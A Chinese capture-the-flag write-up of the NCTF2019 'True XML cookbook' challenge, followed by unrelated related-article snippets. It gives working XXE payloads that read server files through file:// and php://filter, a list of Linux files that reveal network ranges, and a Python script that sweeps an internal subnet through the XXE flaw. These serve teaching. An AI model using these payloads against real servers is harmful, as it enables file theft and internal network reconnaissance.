[NCTF2019]True XML cookbook

TRY

嘗試XML外部實體注入

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "file://./doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

出現報錯:

Warning: DOMDocument::loadXML(): remote host file access not supported, file://./doLogin.php in /var/www/html/doLogin.php on line 16

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "file:///var/www/html/doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

使用絕對路徑回顯code 0,因該是引入成功了但是看不到源碼。

應該是我記錯了,file協議不能用相對路徑,只能用絕對路徑

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[<!ENTITY flag SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

成功拿到源碼:

<?php
$USERNAME = 'admin'; 
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; 
$result = null;libxml_disable_entity_loader(false);//允許解析外部實體
$xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}	
}catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

外部實體沒有禁用,但是不知道flag的位置。感覺可以嘗試反彈shell或者注入一句話木馬。

WP

flag在內網上,考點是利用XXE進行內網探測。

/etc/hosts 是一個在類 Unix 系統(如 Linux、macOS 等)中用于本地域名解析的文本文件,它允許用戶手動指定 IP 地址與域名(或主機名)的映射關系,優先級高于 DNS 服務器解析。

讀取結果:

fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
127.0.0.1 localhost

發現和題解有所不同,并沒有暴露IP線索。

在 Linux 系統中,以下文件可能包含或暴露 IP 網段相關信息:

  1. /etc/hosts
    存放本地靜態 IP 與主機名的映射關系,可能包含本機或局域網內的 IP 網段信息,例如局域網設備的固定 IP 配置。
  2. /etc/network/interfaces(Debian/Ubuntu 系統)或 */etc/sysconfig/network-scripts/ifcfg- **(RHEL/CentOS 系統)
    存儲網絡接口的配置信息,包括 IP 地址、子網掩碼、網關等,直接暴露本機所在的 IP 網段。
  3. /proc/net/fib_trie - 內核維護的路由信息數據結構,包含系統當前所有已知的 IP 網段路由條目,可通過該文件分析系統可達的網絡網段。
    4.** /etc/resolv.conf - 存放 DNS 服務器的 IP 地址,這些 DNS 服務器的 IP 可能屬于特定網段,間接暴露網絡環境的 IP 規劃。
    5.
    /var/log/syslog 、 /var/log/messages ** 等系統日志文件
    日志中可能記錄網絡連接、服務啟動等信息,包含訪問過的 IP 地址或網段(如 SSH 登錄記錄、服務綁定的 IP 等)。
    6.** /proc/net/arp - 存放當前 ARP 緩存表,包含局域網內設備的 IP 與 MAC 地址映射,直接暴露本地局域網的 IP 網段。
    7.
    /etc/netplan/*.yaml**(現代 Ubuntu 系統)
    網絡配置文件,包含 IP 地址、子網掩碼、網關等信息,與 interfaces 文件作用類似,暴露本機所在網段。
  4. /proc/net/tcp 和 /proc/net/udp-記錄當前系統建立的 TCP/UDP 連接信息,包含本地和遠程的 IP 地址及端口,可從中提取涉及的 IP 網段。
    這些文件中,網絡配置文件(如 interfaces、netplan)和路由 / 連接信息文件(如 fib_trie、arp、tcp)是暴露 IP 網段最直接的來源。

從/proc/net/fib_trie中得到:

Main:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
Local:
±- 0.0.0.0/0 3 0 5
±- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.182
/32 host LOCAL
±- 127.0.0.0/8 2 0 2
±- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST

看到暴露的一個IP:10.244.166.182

利用bp探測該網段下存活IP,因為沒能設置INTRUDER的響應超時,太慢了。用腳本跑一下:

import requests
from requests.exceptions import Timeout# 目標URL
url = "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/doLogin.php"# 請求頭
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0","Accept": "application/xml, text/xml, */*; q=0.01","Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding": "gzip, deflate, br","Content-Type": "application/xml;charset=utf-8","X-Requested-With": "XMLHttpRequest","Origin": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81","Connection": "close","Referer": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/","Priority": "u=0"
}for i in range(1, 255):print(i)# 請求體數據data = f'<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE user[<!ENTITY flag SYSTEM "http://10.244.166.{i}">]><user><username>&flag;</username><password>1</password></user>'try:# 發送POST請求response = requests.post(url,headers=headers,data=data,verify=False,timeout=1)# 檢查HTTP錯誤狀態碼(4xx, 5xx)response.raise_for_status()# 打印響應結果print("狀態碼:", response.status_code)print("響應內容:", response.text)except Timeout:print("錯誤: 請求超時,服務器未在指定時間內響應")

在這里插入圖片描述
說明存在內網10.244.166.191

總結

首先是基礎的XML外部實體注入,然后利用該漏洞探測內網。絕大部分情況下expect://協議肯定是不被允許的,所以無法執行系統命令反彈shell。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/93920.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/93920.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/93920.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

嵌入式硬件篇---模塊使用

在電子開發、自動化控制等領域&#xff0c;“模塊” 是實現特定功能的標準化組件&#xff08;可以理解為 “功能積木”&#xff09;。不同模塊分工明確&#xff0c;比如有的負責感知環境&#xff08;傳感器&#xff09;&#xff0c;有的負責通信&#xff08;藍牙 / WiFi&#x…

密碼管理中Null 密碼

Null 密碼定義&#xff1a;Null 密碼是指允許用戶或系統賬戶使用空密碼&#xff08;即不輸入任何字符&#xff09;進行登錄或身份驗證的配置。危害&#xff1a;完全繞過身份驗證&#xff1a;這是最嚴重的危害。攻擊者無需破解或竊取任何密碼&#xff0c;只需輸入用戶名并留空密…

git新建項目如何推送到遠程倉庫

? git新建項目如何推送到遠程倉庫 一、遠程代碼庫操作(gitee為例) 1. 建新倉庫 2. 找到地址:這里可以看到用戶名等其他信息 3. 記住地址url(https) 二、本地操作 1. 安裝git 2. 創建項目 3. 在當前項目下打開git bash 4. 添加遠程倉庫 5. 檢查遠程倉庫地址 6. 檢查當前狀…

代碼管理平臺Gitlab如何通過 ZeroNews 實現遠程訪問?

Gitlab介紹1.1 GitLabGitLab 是一個基于 Web 的開源代碼托管平臺&#xff0c;集代碼托管、項目管理、持續集成與持續部署等功能于一身。它采用 Git 作為版本控制系統&#xff0c;界面友好、功能豐富。相較于市場上的 Gitee 和 GitHub&#xff0c;GitLab 有以下優勢&#xff1a;…

基于STM32F103C8T6控制A4988模塊驅動2相4線步進電機

文章目錄一、A4988模塊簡介二、A4988引腳說明三、A4988的Vref電壓調節四、STM32F103C8T6控制A4988驅動2相4線步進電機準備工作引腳接線代碼示例效果展示五、A4988電機驅動板常見問題一、A4988模塊簡介 A4988 是一款功能齊全的微步進電機驅動器&#xff0c;內置轉換器&#xff0…

基于單片機智能晾衣架/智能窗戶/智能窗簾設計

傳送門 &#x1f449;&#x1f449;&#x1f449;&#x1f449;其他作品題目速選一覽表 &#x1f449;&#x1f449;&#x1f449;&#x1f449;其他作品題目功能速覽 概述 智能晾衣架系統基于單片機設計&#xff0c;融合傳感器技術與物聯網功能&#xff0c;實現衣物的自…

Python爬蟲實戰:研究dark-fantasy,構建奇幻文學數據采集分析系統

1. 引言 1.1 研究背景 奇幻文學作為奇幻文學的重要子類別,融合了哥特式元素與傳統奇幻設定,以其對人性的深刻探索和復雜的道德困境構建,成為當代文學研究的重要對象。與傳統奇幻文學強調英雄主義和光明戰勝黑暗的敘事不同,奇幻往往展現道德邊界、復雜的角色動機和充滿不確…

算法提升樹形數據結構-(線段樹)

今天介紹有關線段樹的相關部分的知識&#xff0c;線段樹是樹的數據結構中十分重要的算法處理思想。1.建立初始樹的條件2.基本框架3.區間修改的相關代碼4.區間查詢的代碼題目描述給定一個長度為 N 的數組 a&#xff0c;其初值分別為 a1?,a2?,...,aN?。現有 Q 個操作&#xff…

java-代碼隨想錄第十四天| 二叉樹層序遍歷相關題目

目錄 102.二叉樹的層序遍歷 107.二叉樹的層次遍歷II 199.二叉樹的右視圖 637.二叉樹的層平均值 429.N叉樹的層序遍歷 515.在每個樹行中找最大值 116.填充每個節點的下一個右側節點指針 117.填充每個節點的下一個右側節點指針II 104.二叉樹的最大深度 111.二叉樹的最小…

C++智能指針詳解:告別內存泄漏,擁抱安全高效

??小新課堂開課了&#xff0c;歡迎歡迎~?? &#x1f388;&#x1f388;養成好習慣&#xff0c;先贊后看哦~&#x1f388;&#x1f388; 所屬專欄&#xff1a;C&#xff1a;由淺入深篇 小新的主頁&#xff1a;編程版小新-CSDN博客 引言&#xff1a;為什么引入智能指針&#…

算法訓練營day57 圖論⑦ prim算法精講、kruskal算法精講

兩種最小生成樹算法講解 prim算法精講 卡碼網53. 尋寶 本題題目內容為最短連接&#xff0c;是最小生成樹的模板題&#xff0c;那么我們來講一講最小生成樹。最小生成樹可以使用prim算法也可以使用kruskal算法計算出來。本篇我們先講解prim算法。 最小生成樹是所有節點的最小連…

148-基于Python的2024物流年度銷售收入數據可視化分析系統

基于Python Django的物流數據可視化分析系統開發實錄 項目背景 隨著物流行業數據量的激增&#xff0c;企業對數據分析和可視化的需求日益增長。傳統的Excel分析方式難以滿足多維度、實時、交互式的數據洞察需求。為此&#xff0c;我們開發了一個基于Python Django的物流年度銷售…

Python中的關鍵字參數:靈活與可讀性的完美結合(Effective Python 第23條)

在Python編程中&#xff0c;函數參數的傳遞方式靈活多樣&#xff0c;而其中一種特別強大的方式就是關鍵字參數。關鍵字參數不僅能夠提升代碼的可讀性&#xff0c;還為函數的設計和調用提供了極大的便利。本文將深入探討關鍵字參數的用法、優勢以及實際應用中的注意事項。 一、關…

005.Redis 主從復制架構

主從復制概念與原理 核心概念 主節點&#xff08;Master&#xff09;&#xff1a;唯一接受寫操作的節點&#xff0c;數據修改后異步復制到從節點。 從節點&#xff08;Replica&#xff09;&#xff1a;復制主節點數據的節點&#xff0c;默認只讀&#xff08;可配置為可寫但不…

Android Studio 模擬器 “******“ has terminated 問題

問題&#xff1a;Android Studio 模擬器 "**" has terminated 問題設備信息&#xff1a;CPU:I5 7500U RAM:64GB System:Windows 10 64位解決&#xff1a; 網上所有辦法都嘗試后仍然不可行可嘗試如下辦法&#xff1a;1、此電腦→管理→設備管理→顯示適配器→右擊→…

uniapp 懶加載圖片

實現的功能 1.一次性獲取圖片。 2.按用戶視野范圍內看到的圖片滾動下來進行懶加載,提高瀏覽器性能。 3.不要一次性加載全部的圖片 1.給父組件綁定一個滾動監聽 1.頁面路徑:/pages/Home/index.vue 不在一個頁面的話用 EventBus去觸發。@scroll="handleScroll2" Ev…

Android - 資源類型 MINE Type

一、概念MINE&#xff08;Multipurpose Internet Mail Extensions&#xff09;最初是為了標識電子郵件附件的類型&#xff0c;在 HTML 中使用 content-type 屬性表示&#xff0c;描述了文件類型的互聯網標準。格式&#xff1a;媒體類型/子類型&#xff0c;可使用通配符*。如 au…

php8.+ 新函數總結

PHP系統函數是PHP核心提供的內置函數&#xff0c;用于執行常見任務&#xff0c;如字符串操作、數組處理、數學運算等。它們通過預定義代碼塊封裝了特定功能&#xff0c;開發者可直接調用而無需重復編寫代碼。 而 PHP 8.0以后又新增了一些實用函數&#xff0c;今天總結部分常見的…

Qt事件處理機制詳解

一、事件處理基本流程在Qt中&#xff0c;所有從QObject派生的類都能處理事件。事件處理的核心流程如下&#xff1a;事件入口函數&#xff1a;bool QObject::event(QEvent *e)參數e包含事件信息&#xff0c;通過e->type()獲取事件類型返回值true表示事件已被處理&#xff0c;…

Zynq中級開發七項必修課-第三課:S_AXI_GP0 主動訪問 PS 地址空間

Zynq中級開發七項必修課-第三課&#xff1a;S_AXI_GP0 主動訪問 PS 地址空間 目標1.0 編寫 AXI-Lite Master&#xff1a;按鍵計數 → 寫入 PS 內存1.1 PL 觸發中斷 → PS 響應并串口打印按鍵計數值BD圖axi_lite_master.v // // AXI4-Lite Simple Master (single-shot, non-pip…